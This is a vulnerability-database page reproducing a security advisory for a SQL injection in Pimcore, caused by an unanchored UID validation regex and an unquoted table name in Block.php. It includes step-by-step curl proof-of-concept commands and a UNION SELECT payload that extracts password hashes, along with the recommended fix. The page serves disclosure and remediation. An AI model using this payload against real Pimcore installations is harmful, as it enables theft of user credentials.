Vulnerability-Lookup

GHSA-2MHJ-FHVG-V428

Vulnerability from github – Published: 2026-08-13 13:44 – Updated: 2026-08-13 13:44

Summary

Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name

Details

Summary

A missing end anchor ($) in the ClassDefinition UID validation regex allows an authenticated user with the objects permission to create a class with a malicious UID containing SQL. When a data object of that class is later loaded, Block.php concatenates the raw classId directly into a SQL query without quoting, executing the injected payload. This is an incomplete fix from commit dbe1d131e4 which added a leading ^ anchor but omitted the trailing $.

Details

1. Missing end anchor in ClassDefinition UID validation

models/DataObject/ClassDefinition.php lines 1148-1154:

if (!preg_match('/^[a-zA-Z]\w+/', $this->getName())) {
    throw new Exception(sprintf('Invalid name for class definition: %s', $this->getName()));
}

if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this->getId())) {
    throw new Exception(sprintf('Invalid ID `%s` for class definition %s', $this->getId(), $this->getName()));
}

Both patterns are missing a trailing $ anchor. Without it, preg_match only checks that the string STARTS with a valid identifier — it does not assert end-of-string. A UID of 1 UNION SELECT password FROM users-- passes because the regex matches 1 at the start and ignores the rest.

Compare with the correct pattern used by Fieldcollection in models/DataObject/Fieldcollection/Definition.php line 268:

if (!preg_match('/^[a-zA-Z]\w*$/', $key)) {   // has $ — correct
    return true;
}

3. Unquoted classId concatenation in Block.php

models/DataObject/ClassDefinition/Data/Block.php line 735:

$query = 'select ' . $db->quoteIdentifier($field) . ' from object_store_' . $object->getClassId() . ' where oo_id  = ' . $object->getId();

$object->getClassId() returns the raw stored classId with no quoting. This same unquoted pattern repeats on lines 744, 746, 748, 759, and 771 for objectbrick, fieldcollection, and localized field contexts.

Compare with models/DataObject/ClassDefinition/Dao.php line 108-113 which correctly wraps the table name:

$objectDatastoreTable = 'object_store_' . $this->model->getId();
$qObjectDatastoreTable = $this->db->quoteIdentifier($objectDatastoreTable);

Dao.php was hardened in commit dbe1d131e4 but Block.php was not.

PoC

Prerequisites: - Pimcore 2026.1.x with Studio API enabled - A user lowpriv with only the objects permission

Step 1 — Authenticate as lowpriv and save the session cookie:

curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"lowpriv","password":"password"}'

Expected response:

{"message": "Login successful"}

Step 2 — Create a ClassDefinition with a malicious UID:

curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"PocClass","uid":"1 UNION SELECT password,NULL FROM users-- "}'

Expected response: class definition created successfully. The UID passes the broken regex because preg_match('/^[a-zA-Z0-9 ([a-zA-Z0-9_]+)?/', '1 UNION SELECT...') matches 1 at the start and returns true. No exception is thrown.

The bypass can be verified independently in any PHP sandbox:

var_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', '1 UNION SELECT password FROM users-- '));
// int(1) — PASSES, no exception thrown

var_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', '1 UNION SELECT password FROM users-- '));
// int(0) — BLOCKED, correct behavior with $ anchor

Step 3 — Add a Block field to the malicious class (via the class editor UI or API)

In the Pimcore Studio UI, open PocClass, add a field of type Block, name it myblock, and save the class.

Step 4 — Create a data object of the malicious class:

curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/data-objects" \
  -H "Content-Type: application/json" \
  -d '{"className":"PocClass","parentId":1,"key":"poc-object"}'

Note the returned object ID (e.g. 42).

Step 5 — Fetch the data object to trigger Block.php:735:

curl -s -b /tmp/cookies.txt \
  "https://your-pimcore/pimcore-studio/api/data-objects/42"

When the object loads, Block::load() executes:

SELECT `myblock` FROM object_store_1 UNION SELECT password,NULL FROM users--
WHERE oo_id = 42

The -- comment discards the WHERE clause. MySQL executes the UNION and returns password hashes from the users table in the Block field value of the response.

Expected response (vulnerable):

The myblock field value in the response contains rows from the users table including password hashes.

Expected response (patched):

Step 2 fails with a validation exception — the UID is rejected before the class is created.

Recommended fix:

Add trailing $ anchors to both regex patterns in ClassDefinition.php:

// Before (vulnerable)
if (!preg_match('/^[a-zA-Z]\w+/', $this->getName())) {
if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this->getId())) {

// After (correct)
if (!preg_match('/^[a-zA-Z]\w+$/', $this->getName())) {
if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', $this->getId())) {

Additionally, wrap $object->getClassId() in $db->quoteIdentifier() in Block.php lines 735, 744, 746, 748, 759, and 771, consistent with how Dao.php handles the same value.

Impact

An authenticated user with the objects permission can inject arbitrary SQL that executes when any data object of the malicious class is loaded. This allows exfiltration of any table in the Pimcore database, including the users table containing password hashes, using a UNION-based injection. The objects permission is a standard editor-level permission, not an admin privilege.

Severity

8.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.1.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/pimcore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.1.0"
            },
            {
              "fixed": "2026.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/pimcore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55072"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-13T13:44:24Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nA missing end anchor (`$`) in the ClassDefinition UID validation regex allows an authenticated user with the `objects` permission to create a class with a malicious UID containing SQL. When a data object of that class is later loaded, Block.php concatenates the raw classId directly into a SQL query without quoting, executing the injected payload. This is an incomplete fix from commit `dbe1d131e4` which added a leading `^` anchor but omitted the trailing `$`.\n\n### Details\n### 1. Missing end anchor in ClassDefinition UID validation\n\n`models/DataObject/ClassDefinition.php` lines 1148-1154:\n\n```php\nif (!preg_match(\u0027/^[a-zA-Z]\\w+/\u0027, $this-\u003egetName())) {\n    throw new Exception(sprintf(\u0027Invalid name for class definition: %s\u0027, $this-\u003egetName()));\n}\n\nif (!preg_match(\u0027/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/\u0027, $this-\u003egetId())) {\n    throw new Exception(sprintf(\u0027Invalid ID `%s` for class definition %s\u0027, $this-\u003egetId(), $this-\u003egetName()));\n}\n```\n\nBoth patterns are missing a trailing `$` anchor. Without it, `preg_match` only checks that the string STARTS with a valid identifier \u2014 it does not assert end-of-string. A UID of `1 UNION SELECT password FROM users-- ` passes because the regex matches `1` at the start and ignores the rest.\n\nCompare with the correct pattern used by Fieldcollection in `models/DataObject/Fieldcollection/Definition.php` line 268:\n\n```php\nif (!preg_match(\u0027/^[a-zA-Z]\\w*$/\u0027, $key)) {   // has $ \u2014 correct\n    return true;\n}\n```\n\n\n### 3. Unquoted classId concatenation in Block.php\n\n`models/DataObject/ClassDefinition/Data/Block.php` line 735:\n\n```php\n$query = \u0027select \u0027 . $db-\u003equoteIdentifier($field) . \u0027 from object_store_\u0027 . $object-\u003egetClassId() . \u0027 where oo_id  = \u0027 . $object-\u003egetId();\n```\n\n`$object-\u003egetClassId()` returns the raw stored classId with no quoting. This same unquoted pattern repeats on lines 744, 746, 748, 759, and 771 for objectbrick, fieldcollection, and localized field contexts.\n\nCompare with `models/DataObject/ClassDefinition/Dao.php` line 108-113 which correctly wraps the table name:\n\n```php\n$objectDatastoreTable = \u0027object_store_\u0027 . $this-\u003emodel-\u003egetId();\n$qObjectDatastoreTable = $this-\u003edb-\u003equoteIdentifier($objectDatastoreTable);\n```\n\nDao.php was hardened in commit `dbe1d131e4` but Block.php was not.\n\n\n### PoC\n**Prerequisites:**\n- Pimcore 2026.1.x with Studio API enabled\n- A user `lowpriv` with only the `objects` permission\n\n**Step 1 \u2014 Authenticate as lowpriv and save the session cookie:**\n\n```bash\ncurl -s -c /tmp/cookies.txt -X POST \\\n  \"https://your-pimcore/pimcore-studio/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"lowpriv\",\"password\":\"password\"}\u0027\n```\n\nExpected response:\n```json\n{\"message\": \"Login successful\"}\n```\n\n**Step 2 \u2014 Create a ClassDefinition with a malicious UID:**\n\n```bash\ncurl -s -b /tmp/cookies.txt -X POST \\\n  \"https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"PocClass\",\"uid\":\"1 UNION SELECT password,NULL FROM users-- \"}\u0027\n```\n\nExpected response: class definition created successfully. The UID passes the broken regex because `preg_match(\u0027/^[a-zA-Z0-9 ([a-zA-Z0-9_]+)?/\u0027, \u00271 UNION SELECT...\u0027)` matches `1` at the start and returns true. No exception is thrown.\n\nThe bypass can be verified independently in any PHP sandbox:\n\n```php\nvar_dump(preg_match(\u0027/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/\u0027, \u00271 UNION SELECT password FROM users-- \u0027));\n// int(1) \u2014 PASSES, no exception thrown\n\nvar_dump(preg_match(\u0027/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/\u0027, \u00271 UNION SELECT password FROM users-- \u0027));\n// int(0) \u2014 BLOCKED, correct behavior with $ anchor\n```\n\n**Step 3 \u2014 Add a Block field to the malicious class (via the class editor UI or API)**\n\nIn the Pimcore Studio UI, open `PocClass`, add a field of type `Block`, name it `myblock`, and save the class.\n\n**Step 4 \u2014 Create a data object of the malicious class:**\n\n```bash\ncurl -s -b /tmp/cookies.txt -X POST \\\n  \"https://your-pimcore/pimcore-studio/api/data-objects\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"className\":\"PocClass\",\"parentId\":1,\"key\":\"poc-object\"}\u0027\n```\n\nNote the returned object ID (e.g. `42`).\n\n**Step 5 \u2014 Fetch the data object to trigger Block.php:735:**\n\n```bash\ncurl -s -b /tmp/cookies.txt \\\n  \"https://your-pimcore/pimcore-studio/api/data-objects/42\"\n```\n\nWhen the object loads, `Block::load()` executes:\n\n```sql\nSELECT `myblock` FROM object_store_1 UNION SELECT password,NULL FROM users--\nWHERE oo_id = 42\n```\n\nThe `-- ` comment discards the WHERE clause. MySQL executes the UNION and returns password hashes from the `users` table in the Block field value of the response.\n\n**Expected response (vulnerable):**\n\nThe `myblock` field value in the response contains rows from the `users` table including password hashes.\n\n**Expected response (patched):**\n\nStep 2 fails with a validation exception \u2014 the UID is rejected before the class is created.\n\n**Recommended fix:**\n\nAdd trailing `$` anchors to both regex patterns in `ClassDefinition.php`:\n\n```php\n// Before (vulnerable)\nif (!preg_match(\u0027/^[a-zA-Z]\\w+/\u0027, $this-\u003egetName())) {\nif (!preg_match(\u0027/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/\u0027, $this-\u003egetId())) {\n\n// After (correct)\nif (!preg_match(\u0027/^[a-zA-Z]\\w+$/\u0027, $this-\u003egetName())) {\nif (!preg_match(\u0027/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/\u0027, $this-\u003egetId())) {\n```\n\nAdditionally, wrap `$object-\u003egetClassId()` in `$db-\u003equoteIdentifier()` in `Block.php` lines 735, 744, 746, 748, 759, and 771, consistent with how `Dao.php` handles the same value.\n\n### Impact\nAn authenticated user with the `objects` permission can inject arbitrary SQL that executes when any data object of the malicious class is loaded. This allows exfiltration of any table in the Pimcore database, including the `users` table containing password hashes, using a UNION-based injection. The `objects` permission is a standard editor-level permission, not an admin privilege.",
  "id": "GHSA-2mhj-fhvg-v428",
  "modified": "2026-08-13T13:44:24Z",
  "published": "2026-08-13T13:44:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-2mhj-fhvg-v428"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/commit/33a0e1887e1e31b4283b016ac5440c35ea5697b4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pimcore/pimcore"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-2MHJ-FHVG-V428

Summary

Details

1. Missing end anchor in ClassDefinition UID validation

3. Unquoted classId concatenation in Block.php

PoC

Impact

Tags

Sightings

Nomenclature